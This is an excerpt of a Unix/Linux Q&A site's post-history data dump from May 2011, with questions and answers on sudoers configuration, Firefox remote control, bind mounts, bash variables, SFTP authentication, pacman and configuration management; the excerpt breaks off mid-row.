  <row Id="32216" PostHistoryTypeId="2" PostId="13057" RevisionGUID="333a8320-a346-485a-a511-b4279f5a3500" CreationDate="2011-05-12T11:09:34.873" UserId="6889" Text="For creating thumbnails from a bunch of JPGs, my first thought is to use [Netpbm][1]. Netpbm is a toolkit for converting images from one format to the other. Once you've banged together a script using Netpbm, you'd have to pull in some other scripting for the creation of the HTML gallery, and the copying and uploading process. Good luck!&#xD;&#xA;&#xD;&#xA;  [1]: http://netpbm.sourceforge.net/" />
  <row Id="32219" PostHistoryTypeId="2" PostId="13058" RevisionGUID="1fb7301e-5fae-485d-b2d4-2c3cae09fea5" CreationDate="2011-05-12T11:36:14.890" UserId="885" Text="If there are multiple matching entries in `/etc/sudoers`, sudo uses the last one. Therefore, if you can execute any command with a password prompt, and you want to be able to execute a particular command without a password prompt, you need the exception last.&#xD;&#xA;&#xD;&#xA;    myusername ALL = (ALL) ALL&#xD;&#xA;    myusername ALL = (root) NOPASSWD: /home/myusername/myFile.sh&#xD;&#xA;&#xD;&#xA;Note the use of `(root)`, to allow the script to be run as root but not as other users. (Don't give more permissions than the minimum required unless you've thought out the implications.)&#xD;&#xA;&#xD;&#xA;*Note for readers who aren't running Ubuntu or who have changed the default sudo configuration (Ubuntu's sudo is ok by default)*: Running shell scripts with elevated privileges is risky, you need to start from a clean environment (once the shell has started, it's too late (see http://unix.stackexchange.com/questions/364/allow-setuid-on-shell-scripts), so you need sudo to take care of that). Make sure that you have `Defaults env_reset` in `/etc/sudoers` or that this option is the compile-time default (`sudo sudo -V | grep env` should include `Reset the environment to a default set of variables`).&#xD;&#xA;" />
  <row Id="32220" PostHistoryTypeId="6" PostId="13052" RevisionGUID="9ef96f5d-46ae-4b2e-b4ff-6e455cc6ae94" CreationDate="2011-05-12T11:36:49.057" UserId="885" Comment="edited tags; added 7 characters in body; edited title" Text="éubuntuàésudoà" />
  <row Id="32221" PostHistoryTypeId="5" PostId="13054" RevisionGUID="81d6d604-6ccd-4778-beb6-11a9f89074f0" CreationDate="2011-05-12T11:40:39.350" UserId="1925" Comment="deleted 337 characters in body" Text="When you execute your script you need to run it as `sudo ./myFile.sh`. Additionally, as [noted seconds before][1], your sudo file syntax is needs fixing.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Edit:** Based on your comment to another answer, you want to run this from an icon. You will need to create a .desktop file that executes your program with sudo, just like on the terminal.&#xD;&#xA;&#xD;&#xA;You could also consider using gtk-sudo for a visual password prompt.&#xD;&#xA;&#xD;&#xA;You should probably consider the idea that you shouldn't be running things as root and that changing the system farther down the road so that you don't need root permissions at all would be a better way to go.&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/13052/run-shell-file-as-root-automatically-in-linux/13055#13055" />
  <row Id="32222" PostHistoryTypeId="5" PostId="13052" RevisionGUID="9ef96f5d-46ae-4b2e-b4ff-6e455cc6ae94" CreationDate="2011-05-12T11:36:49.057" UserId="885" Comment="edited tags; added 7 characters in body; edited title" Text="I need to make sure that a shell file can be executed with root privileges in Linux without asking for password.&#xD;&#xA;&#xD;&#xA;I tried `chmod 700 myFile.sh` and added `myusername ALL = NOPASSWD: /home/myusername/myFile.sh` to `/etc/sudoers`, but no luck. Upon executing the file, it still asks for password.&#xD;&#xA;&#xD;&#xA;What am I doing wrong?" />
  <row Id="32223" PostHistoryTypeId="4" PostId="13052" RevisionGUID="9ef96f5d-46ae-4b2e-b4ff-6e455cc6ae94" CreationDate="2011-05-12T11:36:49.057" UserId="885" Comment="edited tags; added 7 characters in body; edited title" Text="Run shell script as root without a password prompt" />
  <row Id="32224" PostHistoryTypeId="25" PostId="13052" RevisionGUID="f7a086f3-2a9b-4215-915a-9a5e88b51de6" CreationDate="2011-05-12T12:11:50.063" Comment="http://twitter.com/#!/StackUnix/status/68649579041652736" />
  <row Id="32225" PostHistoryTypeId="2" PostId="13059" RevisionGUID="bd4bdf69-91a4-4edd-a210-07d6095d71e5" CreationDate="2011-05-12T12:11:49.790" UserId="885" Text="You aren't going to find any information in the kernel, you have to ask the firefox process. (There's only one. Firefox uses multiple threads but a single process.) Tabs, URLs and scrolling on a page are concepts that are purely internal to the browser.&#xD;&#xA;&#xD;&#xA;Firefox has a [remote interface](http://www.mozilla.org/unix/remote.html) which lets you run some commands from a shell prompt.&#xD;&#xA;&#xD;&#xA;    firefox -remote 'openurl(http://www.example.com/, new-tab)'&#xD;&#xA;&#xD;&#xA;I don't know if there are other undocumented functions you can use through the remote interface. A completely untested idea is to open a local (`file://`) Javascript script to gather information, but the script may not have the requisite permissions.&#xD;&#xA;&#xD;&#xA;You can also load chrome into a running process: `firefox -chrome file://…`. Again, I don't know what capabilities this offers.&#xD;&#xA;&#xD;&#xA;One thing you can know from outside Firefox is the windows and their titles:&#xD;&#xA;&#xD;&#xA;    wmctrl -xl | &#xD;&#xA;    awk '$3 == &quot;Navigator.Firefox&quot;&#xD;&#xA;         {sub(/^([^ ]+ +)([^ ]+ +)([^ ]+ +)([^ ]+ +)/,&quot;&quot;); print}'&#xD;&#xA;" />
  <row Id="32226" PostHistoryTypeId="2" PostId="13060" RevisionGUID="de5823b9-04ea-4dbc-990c-411f58d1d920" CreationDate="2011-05-12T12:20:00.727" UserId="1893" Text="At uni, I'm using a terminal to log into a text console of some unix server. As the monitors are 17&quot; and the console is displayed full screen, it's a bit annoying to look at the screen with the default column and row size.&#xD;&#xA;&#xD;&#xA;Is it possible, as a user, to change the size of the console, either by increasing the number of rows &amp; columns or by even decreasing the used resolution if the monitor (i.e. adding an unused border around it)? " />
  <row Id="32227" PostHistoryTypeId="1" PostId="13060" RevisionGUID="de5823b9-04ea-4dbc-990c-411f58d1d920" CreationDate="2011-05-12T12:20:00.727" UserId="1893" Text="Change size of system console as user" />
  <row Id="32228" PostHistoryTypeId="3" PostId="13060" RevisionGUID="de5823b9-04ea-4dbc-990c-411f58d1d920" CreationDate="2011-05-12T12:20:00.727" UserId="1893" Text="éterminalàéconsoleà" />
  <row Id="32229" PostHistoryTypeId="2" PostId="13061" RevisionGUID="d98fcfd9-9948-4aec-81ed-29dfeee7cbf2" CreationDate="2011-05-12T12:33:27.347" UserId="7351" Text="You'll have to figure out which utility controls the console. On *BSD it's vidcontrol(1). I'd do a man -k console and see what comes up." />
  <row Id="32230" PostHistoryTypeId="2" PostId="13062" RevisionGUID="61389453-edd4-4f9c-a612-f8043886a218" CreationDate="2011-05-12T12:38:12.247" UserId="7351" Text="How about you read `/home/*/.mozilla/firefox/*/sessionstore.js`?" />
  <row Id="32231" PostHistoryTypeId="17" PostId="13064" RevisionGUID="405dc8ae-d3b3-4b47-8ce8-7794d7be9ed7" CreationDate="2011-05-12T12:40:22.793" UserId="-1" Comment="from http://stackoverflow.com/questions/5971741/symbolic-link-to-a-large-file/5971804#5971804" Text="" />
  <row Id="32232" PostHistoryTypeId="17" PostId="13065" RevisionGUID="ae3b499e-4ecf-430b-b83b-ea12768e7fb5" CreationDate="2011-05-12T12:40:22.793" UserId="-1" Comment="from http://stackoverflow.com/questions/5971741/symbolic-link-to-a-large-file/5971808#5971808" Text="" />
  <row Id="32233" PostHistoryTypeId="2" PostId="13064" RevisionGUID="8f857ffd-447b-4ba6-8b6b-96f044906023" CreationDate="2011-05-11T23:42:51.570" UserDisplayName="Sdaz MacSkibbons" Text="It will work if you have the [Options](http://httpd.apache.org/docs/2.0/mod/core.html#options) `FollowSymLinks` enabled for that `Directory` or `Location` (or in an `.htaccess` file, if they are enabled for that `Directory` or `Location`).&#xD;&#xA;&#xD;&#xA;Just test on another, smaller symlinked file to be sure it's enabled before trying with the full file, if you have concerns." />
  <row Id="32234" PostHistoryTypeId="2" PostId="13065" RevisionGUID="1e3d0e7f-7730-4b15-bc65-d7d54cd12848" CreationDate="2011-05-11T23:43:15.657" UserDisplayName="user474933" Text="See mount --bind.  From the mount man page:&#xD;&#xA;&#xD;&#xA;    The bind mounts.&#xD;&#xA;              Since Linux 2.4.0 it is possible to remount  part  of  the  file&#xD;&#xA;              hierarchy somewhere else. The call is&#xD;&#xA;                     mount --bind olddir newdir&#xD;&#xA;              or shortoption&#xD;&#xA;                     mount -B olddir newdir&#xD;&#xA;              or fstab entry is:&#xD;&#xA;                     /olddir /newdir none bind&#xD;&#xA;&#xD;&#xA;              After  this  call the same contents is accessible in two places.&#xD;&#xA;              One can also remount a single file (on a single file).&#xD;&#xA;&#xD;&#xA;              This call attaches only (part of) a single filesystem, not  pos‐&#xD;&#xA;              sible  submounts.  The entire file hierarchy including submounts&#xD;&#xA;              is attached a second place using&#xD;&#xA;                     mount --rbind olddir newdir&#xD;&#xA;              or shortoption&#xD;&#xA;                     mount -R olddir newdir&#xD;&#xA;" />
  <row Id="32235" PostHistoryTypeId="2" PostId="13063" RevisionGUID="bccfc238-8bee-4da4-bfb4-35ecb3ff2162" CreationDate="2011-05-11T23:33:39.240" UserDisplayName="user678070" Text="I have a large(1 TB) file that I would like to download from the centos server via http, should I create a symbolic link to the file to the http file directory?  would the link work?  the file is too large to be copied over given the server hdd.&#xD;&#xA;if not, what are the alternatives?" />
  <row Id="32236" PostHistoryTypeId="1" PostId="13063" RevisionGUID="bccfc238-8bee-4da4-bfb4-35ecb3ff2162" CreationDate="2011-05-11T23:33:39.240" UserDisplayName="user678070" Text="symbolic link to a large file" />
  <row Id="32237" PostHistoryTypeId="3" PostId="13063" RevisionGUID="bccfc238-8bee-4da4-bfb4-35ecb3ff2162" CreationDate="2011-05-11T23:33:39.240" UserDisplayName="user678070" Text="élinuxàécentosà" />
  <row Id="32238" PostHistoryTypeId="17" PostId="13063" RevisionGUID="e82d1ba6-0bc9-48f8-8d4f-62b2ba288f57" CreationDate="2011-05-12T12:40:22.793" UserId="-1" Comment="from http://stackoverflow.com/questions/5971741/symbolic-link-to-a-large-file" Text="" />
  <row Id="32239" PostHistoryTypeId="5" PostId="5691" RevisionGUID="1fd8f3ef-dae9-4e25-ad13-7f917cb84eef" CreationDate="2011-05-12T14:07:06.913" UserId="1170" Comment="added 382 characters in body; added 1 characters in body" Text="Here is a solution, inspired by the previous answers:&#xD;&#xA;&#xD;&#xA;    $ comm -3 &lt;(declare | sort) &lt;(declare -f | sort)&#xD;&#xA;&#xD;&#xA;breakdown:&#xD;&#xA;&#xD;&#xA;1. `declare` prints every defined variable (exported or not) and function.&#xD;&#xA;1. `declare -f` prints only functions.&#xD;&#xA;1. `comm -3` will remove all lines common to both. In effect this will remove the functions, leaving only the variables.&#xD;&#xA;&#xD;&#xA;To only print variables which are not exported:&#xD;&#xA;&#xD;&#xA;    $ comm -3 &lt;(comm -3 &lt;(declare | sort) &lt;(declare -f | sort)) &lt;(env | sort)&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;Another solution:&#xD;&#xA;&#xD;&#xA;    $ declare -p&#xD;&#xA;&#xD;&#xA;This will only print the variables, but with some ugly attributes.&#xD;&#xA;&#xD;&#xA;    declare -- BASH=&quot;/bin/bash&quot;&#xD;&#xA;    declare -ir BASHPID=&quot;&quot;&#xD;&#xA;    declare -A BASH_ALIASES='()'&#xD;&#xA;    declare -a BASH_ARGC='()'&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;You can cut the attributes away using... cut:&#xD;&#xA;&#xD;&#xA;    $ declare -p | cut -d &quot; &quot; -f 3&#xD;&#xA;&#xD;&#xA;One downside is that the value of IFS is interpreted instead of displayed.&#xD;&#xA;&#xD;&#xA;compare:&#xD;&#xA;&#xD;&#xA;    $ comm -3 &lt;(declare | sort) &lt;(declare -f | sort)&#xD;&#xA;    ...&#xD;&#xA;    IFS=$' \t\n'&#xD;&#xA;    ...&#xD;&#xA;    $ declare -p | cut -d &quot; &quot; -f 3&#xD;&#xA;    ...&#xD;&#xA;    IFS=&quot;&#xD;&#xA;    &quot;&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;This makes it quite hard to use that output for further processing, because of that lone `&quot;` in one line. Perhaps some IFS-fu can be done to prevent this.&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;Yet another (almost) solution:&#xD;&#xA;&#xD;&#xA;    $ compgen -v&#xD;&#xA;&#xD;&#xA;The bash builtin `compgen` was meant to be used in completion scripts. To this end, `compgen -v` lists all defined variables. The downside: it lists only the variable names, not the values." />
  <row Id="32240" PostHistoryTypeId="2" PostId="13066" RevisionGUID="59369a24-9fa6-4f80-baa0-e441bcf6956e" CreationDate="2011-05-12T14:09:10.233" UserId="7416" Text="Had same issue on SLES11sp1. Only way I could resolve it was to add the LDAP user account to the local machine's video group. I was told you could also change a line in /etc/modprobe.d/50-nvidia.conf from NVreg_DeviceFileMode=0660 to NVreg_DeviceFileMode=0666. " />
  <row Id="32242" PostHistoryTypeId="2" PostId="13067" RevisionGUID="2ebc5433-4bcf-4e18-82ab-3a6982ee9634" CreationDate="2011-05-12T14:17:12.100" UserId="6103" Text="Is there a way for people to log onto a debian server via sftp using just mysql database table as authentaction. IE not adding a user to the system?&#xD;&#xA;&#xD;&#xA;I know it can be done over ftp and TLS but i really dont want to use that method&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="32243" PostHistoryTypeId="1" PostId="13067" RevisionGUID="2ebc5433-4bcf-4e18-82ab-3a6982ee9634" CreationDate="2011-05-12T14:17:12.100" UserId="6103" Text="SFTP with Mysql user pass instead of PAM" />
  <row Id="32244" PostHistoryTypeId="3" PostId="13067" RevisionGUID="2ebc5433-4bcf-4e18-82ab-3a6982ee9634" CreationDate="2011-05-12T14:17:12.100" UserId="6103" Text="élinuxàédebianàémysqlàépamàésftpà" />
  <row Id="32245" PostHistoryTypeId="2" PostId="13068" RevisionGUID="a4b2da2f-5b0c-40c2-8339-611840fc2538" CreationDate="2011-05-12T14:40:13.243" UserId="1835" Text="**assuming this is a single-user system**, and assuming that a HUP signal is sufficient (causes gnome-shell to restart itself) You need to put a hook script containing something like&#xD;&#xA;&#xD;&#xA;    case &quot;$1&quot; in&#xD;&#xA;      resume)&#xD;&#xA;        killall -HUP gnome-shell&#xD;&#xA;    esac&#xD;&#xA;&#xD;&#xA;into a `pm-utils` hook script, e.g `/usr/lib/pm-utils/sleep.d/99hup-gnome-shell`.&#xD;&#xA;&#xD;&#xA;This will send a HUP signal to any `gnome-shell` instance running, and for a single user system there should only be one.&#xD;&#xA;&#xD;&#xA;If HUP doesn't work, you could try TERM or KILL, and hope that your session manager starts up another one." />
  <row Id="32246" PostHistoryTypeId="2" PostId="13069" RevisionGUID="36eb2167-98cb-405b-ac87-d41eeeb7ae5f" CreationDate="2011-05-12T14:42:48.860" UserId="1835" Text="[I think Fedora packages `tsocks`](https://admin.fedoraproject.org/pkgdb/acls/name/tsocks), which works similarly." />
  <row Id="32247" PostHistoryTypeId="2" PostId="13070" RevisionGUID="13b9044d-0c79-4ef0-aeb6-f0dbf1f893fa" CreationDate="2011-05-12T14:59:41.603" UserId="4949" Text="No. SFTP works by logging in via SSH and then spawning the `sftpd` subprocess on the remote end.&#xD;&#xA;&#xD;&#xA;You can, however, create a user that cannot log on *except* for sftp/scp by giving them the [scponlyc][1] program as a login shell. Fairly easy to do as long as you follow the steps, and about as secure as it gets.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://sublimation.org/scponly/wiki/index.php/Main_Page" />
  <row Id="32248" PostHistoryTypeId="2" PostId="13071" RevisionGUID="f41b309a-885d-471d-9877-c9b4ffaef06b" CreationDate="2011-05-12T15:02:42.567" UserId="2634" Text="My two cent suggestion: you could use PAM to do this.&#xD;&#xA;&#xD;&#xA;E.g. Use some pam module as [pam-mysql][1] to store some of your users in mysql and [pam_require][2] to avoid that mysql-stored users can access other than sftp service.&#xD;&#xA;&#xD;&#xA;Start looking here: [Modules/Applications available or in progress...][3]&#xD;&#xA;&#xD;&#xA;  [1]: http://pam-mysql.sourceforge.net&#xD;&#xA;  [2]: http://www.splitbrain.org/projects/pam_require&#xD;&#xA;  [3]: http://www.kernel.org/pub/linux/libs/pam/modules.html" />
  <row Id="32249" PostHistoryTypeId="5" PostId="13071" RevisionGUID="c90a188f-f9bd-41c5-bbbf-0c5fb4b15fb6" CreationDate="2011-05-12T15:08:35.493" UserId="2634" Comment="added 55 characters in body" Text="My two cent suggestion: you could use [PAM][4] to do this.&#xD;&#xA;&#xD;&#xA;E.g. Use some pam module as [pam-mysql][1] to store some of your users in mysql and [pam_require][2] to avoid that mysql-stored users can access other than sftp service.&#xD;&#xA;&#xD;&#xA;Start looking here: [Modules/Applications available or in progress...][3]&#xD;&#xA;&#xD;&#xA;  [1]: http://pam-mysql.sourceforge.net&#xD;&#xA;  [2]: http://www.splitbrain.org/projects/pam_require&#xD;&#xA;  [3]: http://www.kernel.org/pub/linux/libs/pam/modules.html&#xD;&#xA;  [4]: http://www.kernel.org/pub/linux/libs/pam/" />
  <row Id="32250" PostHistoryTypeId="25" PostId="13056" RevisionGUID="16616694-ddbc-4b64-9be1-9bed1456bc37" CreationDate="2011-05-12T15:11:50.167" Comment="http://twitter.com/#!/StackUnix/status/68694878657318912" />
  <row Id="32251" PostHistoryTypeId="6" PostId="13067" RevisionGUID="a3efa642-63be-4426-a892-0d6f4201b781" CreationDate="2011-05-12T15:26:11.370" UserId="885" Comment="edited tags" Text="ésshàéusersàémysqlàépamàésftpà" />
  <row Id="32252" PostHistoryTypeId="2" PostId="13072" RevisionGUID="dd3517a9-e4a7-4186-840c-2e5acfca613b" CreationDate="2011-05-12T15:36:14.380" UserId="173" Text="Exactly as phunehehe suggested - you can use http://software.opensuse.org/search to search openSUSE BuildService for packages. Select your distribution and it will provide you with one-click install button. To answer your question, scilab can be found in Education repository." />
  <row Id="32253" PostHistoryTypeId="6" PostId="8260" RevisionGUID="b53ad369-1473-4f76-a014-b71a1c97c662" CreationDate="2011-05-12T15:45:58.467" UserId="885" Comment="edited tags" Text="éyumàéopensuseàésoftwareöinstallationàéscilabà" />
  <row Id="32254" PostHistoryTypeId="2" PostId="13073" RevisionGUID="c6295428-6438-409d-b213-604995194d84" CreationDate="2011-05-12T15:50:09.960" UserId="7209" Text="Is there a way to update only selected programs in pacman?&#xD;&#xA;&#xD;&#xA;I'm running ArchLinux on my netbook, and the complete upgrade of my system takes up more temporary space than I have on my system, so I'd like to just update one program at a time" />
  <row Id="32255" PostHistoryTypeId="1" PostId="13073" RevisionGUID="c6295428-6438-409d-b213-604995194d84" CreationDate="2011-05-12T15:50:09.960" UserId="7209" Text="Update only one package with pacman" />
  <row Id="32256" PostHistoryTypeId="3" PostId="13073" RevisionGUID="c6295428-6438-409d-b213-604995194d84" CreationDate="2011-05-12T15:50:09.960" UserId="7209" Text="épackageömanagementàéarchölinuxàépacmanà" />
  <row Id="32257" PostHistoryTypeId="2" PostId="13074" RevisionGUID="66f87486-2575-458f-bae2-f1faca9b12e3" CreationDate="2011-05-12T16:05:39.200" UserId="2634" Text="Once upon a time, I used [BB Gallery][1]. It is very simple and easy to customize (if you know a little of perl).&#xD;&#xA;&#xD;&#xA; [1]: http://bbgallery.sourceforge.net/" />
  <row Id="32258" PostHistoryTypeId="2" PostId="13075" RevisionGUID="203e4cf6-b9b5-4f0c-9dbf-27fd78c2d4bc" CreationDate="2011-05-12T16:58:27.193" UserId="7425" Text="Pacman's install command really means 'synchronize', so the command to install a new package and to upgrade a single package is the same.&#xD;&#xA;&#xD;&#xA;    pacman -S packagename&#xD;&#xA;&#xD;&#xA;This will upgrade the package." />
  <row Id="32259" PostHistoryTypeId="2" PostId="13076" RevisionGUID="b56ec56e-e20a-48da-a283-b9280eb50527" CreationDate="2011-05-12T17:05:59.003" UserId="6835" Text="I have a group of servers authenticating against an LDAP server. I would like to be able to periodically update the /etc/ldap.secret file with an updated secret. I've written a small script that reads a list of hosts in from a file and uses SSH to update all the servers but I keep getting a nagging feeling that there must be a better tool or method." />
  <row Id="32260" PostHistoryTypeId="1" PostId="13076" RevisionGUID="b56ec56e-e20a-48da-a283-b9280eb50527" CreationDate="2011-05-12T17:05:59.003" UserId="6835" Text="Mass update of /etc/ldap.secret" />
  <row Id="32261" PostHistoryTypeId="3" PostId="13076" RevisionGUID="b56ec56e-e20a-48da-a283-b9280eb50527" CreationDate="2011-05-12T17:05:59.003" UserId="6835" Text="élinuxàéscriptingàéadministrationàéldapà" />
  <row Id="32262" PostHistoryTypeId="5" PostId="13010" RevisionGUID="75b5fbaf-d86f-40dd-9aa2-f53984abd767" CreationDate="2011-05-12T17:06:59.003" UserId="3115" Comment="added 17 characters in body" Text="I am running this little test script I wrote :&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    &#xD;&#xA;    TESTCASE=$@&#xD;&#xA;    testHarness &lt;&lt;runTest&#xD;&#xA;    $TESTCASE&#xD;&#xA;    runTest&#xD;&#xA;&#xD;&#xA;from the command line :&#xD;&#xA;&#xD;&#xA;    ./test.sh &quot;1092$212&quot;&#xD;&#xA;&#xD;&#xA;but the dollar sign is being stripped out.  If I escape it, it works.  But I thought the double quotes would protect me from needing to do this.  Can someone please help me understand whats going on and how to fix this?&#xD;&#xA;" />
  <row Id="32263" PostHistoryTypeId="2" PostId="13077" RevisionGUID="07da9203-0d6c-4c6e-b7b4-5e278573eba3" CreationDate="2011-05-12T17:24:22.907" UserId="7426" Text="Hello.&#xD;&#xA;&#xD;&#xA;I am wondering whether there is a way how to copy and rename a bunch of files without scripting. I have files with names like *prefix_12345678901_12345678901_suffix.ext* and I need to copy all of them into a given directory such that the copies are named like *1234567890_1234567890.ext*&#xD;&#xA;&#xD;&#xA;I also do not want to overwrite existing files in the target directory.&#xD;&#xA;&#xD;&#xA;I know I could do something like:&#xD;&#xA;&#xD;&#xA;    cp -n source/*.ext target&#xD;&#xA;&#xD;&#xA;followed by&#xD;&#xA;&#xD;&#xA;    rename 's/.*([0-9]{11}_[0-9]{11}).*\.(.*$)/$1.$2/' *.ext&#xD;&#xA;&#xD;&#xA;but this would make copies first and only then figured out whether the files already exist or not. I need sort of a reversed process...&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="32264" PostHistoryTypeId="1" PostId="13077" RevisionGUID="07da9203-0d6c-4c6e-b7b4-5e278573eba3" CreationDate="2011-05-12T17:24:22.907" UserId="7426" Text="Batch copy and rename with regexp" />
  <row Id="32265" PostHistoryTypeId="3" PostId="13077" RevisionGUID="07da9203-0d6c-4c6e-b7b4-5e278573eba3" CreationDate="2011-05-12T17:24:22.907" UserId="7426" Text="érenameàécpà" />
  <row Id="32266" PostHistoryTypeId="2" PostId="13078" RevisionGUID="e3c3f92c-0526-444f-be22-71665b669df7" CreationDate="2011-05-12T17:41:49.023" UserId="6960" Text="https://secure.wikimedia.org/wikipedia/en/wiki/MathType&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;So I'm searching for an equation editor/maker&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Are there any for OpenOffice.org/LibreOffice?&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Thank you!" />
  <row Id="32267" PostHistoryTypeId="1" PostId="13078" RevisionGUID="e3c3f92c-0526-444f-be22-71665b669df7" CreationDate="2011-05-12T17:41:49.023" UserId="6960" Text="Are there any MathType clones for Open/Libre - Office?" />
  <row Id="32268" PostHistoryTypeId="3" PostId="13078" RevisionGUID="e3c3f92c-0526-444f-be22-71665b669df7" CreationDate="2011-05-12T17:41:49.023" UserId="6960" Text="éopenofficeà" />
  <row Id="32269" PostHistoryTypeId="25" PostId="13067" RevisionGUID="ffddcd4a-3ef8-4ee3-accc-65388dbb9b00" CreationDate="2011-05-12T18:11:50.680" Comment="http://twitter.com/#!/StackUnix/status/68740178797277184" />
  <row Id="32270" PostHistoryTypeId="5" PostId="13044" RevisionGUID="30ebbe85-dedf-4a7b-9ce7-5509426d12c4" CreationDate="2011-05-12T18:51:28.227" UserId="6761" Comment="detail around optionally script" Text="You can hack a solution together with &lt;a href=&quot;https://www.dropbox.com/&quot;&gt;Dropbox&lt;/a&gt;. &#xD;&#xA;&#xD;&#xA;Install &lt;a href=&quot;http://wiki.dropbox.com/DropboxAddons/DropboxLinuxCLI&quot;&gt;Dropbox CLI&lt;/a&gt;. &#xD;&#xA;&#xD;&#xA;Then copy files to &lt;a href=&quot;https://www.dropbox.com/help/18&quot;&gt;a public gallery&lt;/a&gt; which presents the images in a &lt;a href=&quot;http://www.dropbox.com/gallery/261312/1/Top10Albums?h=9bd9f4&quot;&gt;minimally styled format&lt;/a&gt;.&#xD;&#xA;&#xD;&#xA;Optionally, you could use this &lt;a href=&quot;http://www.andreafabrizi.it/?dropbox_uploader&quot;&gt;bash upload script&lt;/a&gt;. &#xD;&#xA;&#xD;&#xA;DropboxCLI has an option to copy the gallery URL&#xD;&#xA;&lt;blockquote&gt;copygallery - Copies the gallery url to the clipboard&lt;/blockquote&gt;&#xD;&#xA;so that you can then share that link... " />
  <row Id="32271" PostHistoryTypeId="5" PostId="13025" RevisionGUID="700546a3-a602-48fd-a1bf-b9afafec05cc" CreationDate="2011-05-12T19:37:40.907" UserId="591" Comment="Fixed typos" Text="There is no `flock` or similar command for Solaris. If I want to do simple locking I use `mkdir` as it's a atomic operation and avoids potential race conditions with the usual check file exists/touch combination. &#xD;&#xA;&#xD;&#xA;    mkdir /tmp/lockfile &amp;&gt;/dev/null&#xD;&#xA;    if [[ $? -ne &quot;0&quot; ]]&#xD;&#xA;    then&#xD;&#xA;        echo &quot;Lock exists exiting&quot;&#xD;&#xA;        exit 1&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  " />
  <row Id="32272" PostHistoryTypeId="2" PostId="13079" RevisionGUID="2604877d-811a-4318-a020-ca6d24d37ef6" CreationDate="2011-05-12T19:44:48.510" UserId="1131" Text="andcoz's answer provided me with a good search term, i.e. just using&#xD;&#xA;&#xD;&#xA;    $ apt-cache search gallery&#xD;&#xA;&#xD;&#xA;results in some packages matching the above criteria, e.g.&#xD;&#xA;&#xD;&#xA;* bins&#xD;&#xA;* igal2&#xD;&#xA;* jigl&#xD;&#xA;* lazygal&#xD;&#xA;* llgal&#xD;&#xA;* photon&#xD;&#xA;* webmagick&#xD;&#xA;&#xD;&#xA;(Under Ubuntu 10.04)" />
  <row Id="32273" PostHistoryTypeId="5" PostId="13078" RevisionGUID="35034dc2-acfc-44ae-8e7a-19b2939a8796" CreationDate="2011-05-12T19:45:04.540" UserId="73" Comment="deleted 47 characters in body; edited tags" Text="Are there any OpenOffice.org/LibreOffice equation editor/makers, similar to [MathType](https://secure.wikimedia.org/wikipedia/en/wiki/MathType)?" />
  <row Id="32274" PostHistoryTypeId="6" PostId="13078" RevisionGUID="35034dc2-acfc-44ae-8e7a-19b2939a8796" CreationDate="2011-05-12T19:45:04.540" UserId="73" Comment="deleted 47 characters in body; edited tags" Text="ésoftwareörecàéopenofficeà" />
  <row Id="32275" PostHistoryTypeId="5" PostId="13077" RevisionGUID="c1b0959e-b496-4689-b5cc-b73781df3c08" CreationDate="2011-05-12T20:03:19.680" UserId="7426" Comment="added 213 characters in body" Text="Hello.&#xD;&#xA;&#xD;&#xA;I am wondering whether there is a way how to copy and rename a bunch of files without scripting. I have files with names like *prefix_12345678901_12345678901_suffix.ext* and I need to copy all of them into a given directory such that the copies are named like *1234567890_1234567890.ext*&#xD;&#xA;&#xD;&#xA;I also do not want to overwrite existing files in the target directory.&#xD;&#xA;&#xD;&#xA;I know I could do something like:&#xD;&#xA;&#xD;&#xA;    cp -n source/*.ext target&#xD;&#xA;&#xD;&#xA;followed by&#xD;&#xA;&#xD;&#xA;    rename 's/.*([0-9]{11}_[0-9]{11}).*\.(.*$)/$1.$2/' *.ext&#xD;&#xA;&#xD;&#xA;but this would make copies first and only then figured out whether the files already exist or not. I need sort of a reversed process...&#xD;&#xA;&#xD;&#xA;EDIT:&#xD;&#xA;&#xD;&#xA;Well, I guess this is scripting, but I finally suceeded with something like:&#xD;&#xA;&#xD;&#xA;    for i in /source/*.ext; do if [[ &quot;$i&quot; =~ [0-9]{11}_[0-9]{11} ]]; then cp $i /target/${BASH_REMATCH[0]}.ext; fi done;&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="32276" PostHistoryTypeId="2" PostId="13080" RevisionGUID="b6d4a77a-92fb-4b1a-a58e-36d5fefbc26b" CreationDate="2011-05-12T20:18:54.860" UserId="3852" Text="You might want to look at a [configuration management utility][1]. The big ones are:&#xD;&#xA;&#xD;&#xA; - [puppet][2]&#xD;&#xA; - [chef][3]&#xD;&#xA; - [cfengine][4]&#xD;&#xA; - [bcfg2][5]&#xD;&#xA;&#xD;&#xA;Basically instead of spewing commands at a list of servers in an ssh loop, you describe the state you want a server to be in and the CMU will do what is needed to get it there. You can configure them to poll a master server every X minutes/hours for changes or you can push changes out to a list of servers when you wish. They have stuff built in to them to account for different distros, package managers, etc.&#xD;&#xA;&#xD;&#xA;If the CMU is overly complex for your needs, there's some tools that are like ssh loops but with better control/logic:&#xD;&#xA;&#xD;&#xA; - [mcollective][6]&#xD;&#xA; - [func][7]&#xD;&#xA; - [fabric][8]&#xD;&#xA; - [capistrano][9]&#xD;&#xA;&#xD;&#xA;And if your needs are very very simple, an ssh loop will work but investing time in to building your infrastructure right will pay off later.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Comparison_of_open_source_configuration_management_software&#xD;&#xA;  [2]: http://www.puppetlabs.com/&#xD;&#xA;  [3]: http://www.opscode.com/chef/&#xD;&#xA;  [4]: http://www.cfengine.org/&#xD;&#xA;  [5]: http://trac.mcs.anl.gov/projects/bcfg2&#xD;&#xA;  [6]: http://docs.puppetlabs.com/mcollective/&#xD;&#xA;  [7]: 